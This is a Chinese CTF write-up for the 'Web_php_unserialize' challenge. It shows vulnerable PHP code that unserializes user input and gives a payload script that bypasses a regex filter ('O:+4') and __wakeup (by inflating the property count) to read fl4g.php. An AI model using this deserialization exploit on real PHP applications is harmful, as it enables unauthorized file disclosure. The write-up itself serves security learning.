0
点赞
收藏
分享

微信扫一扫

Web_php_unserialize

爱读书的歌者 2022-05-04 阅读 53
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

 

回到题目中 , 看一看有哪些注意点

  1. unserialize() 方法的参数来源于 GET 请求

    虽然该请求获取的值经过一系列处理 ,包括一个Base64解码和一个正则过滤 , 但至少能确定该参数值是用户可控的 . 事实上这个正则过滤是可以绕过的 .

  2. unserialize() 的 __wakeup() 方法

    在反序列化时 , PHP 会先执行 __wakeup() 函数 . 本题中 __wakeup() 函数的作用为 : 将 $file 变量强制赋值为 index.php , 而题目又提示 flag 在 fl4g.php 中 , 因此这又牵扯到一个老问题了 : 如何绕过 __wakeup() 函数

然后就可以拿到 Flag 了 , 本题其实也就考了两个点 : 如何绕过正则表达式 以及 如何绕过 __wakeup() 方法 .

绕过正则表达式

preg_match('/[oc]:\d+:/i', $var)

匹配以(o或c:一个或多个数字:)的形式的字符串,i说明不区分大小写

通过O:4:  ——>  O:+4: 进行绕过

绕过_wakeup()函数

增加对象属性的个数就可以绕过。

构造playload

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$flag = new Demo('fl4g.php'); 
$flag = serialize($flag); 
$flag = str_replace('O:4', 'O:+4',$flag); // 绕过正则
$flag = str_replace(':1:', ':2:' ,$flag); //绕过_wakeup()
$flag=base64_encode($flag);
echo $flag;
?>

拿到flag

 

 注意:

不同属性的对象序列化后字符格式是不一样的

参考:PHP反序列化研究 - 知乎 (zhihu.com)

更多资料参考:Web - Web_php_unserialize - WriteUp - H0t-A1r-B4llo0n (guildhab.top)

举报

相关推荐

0 条评论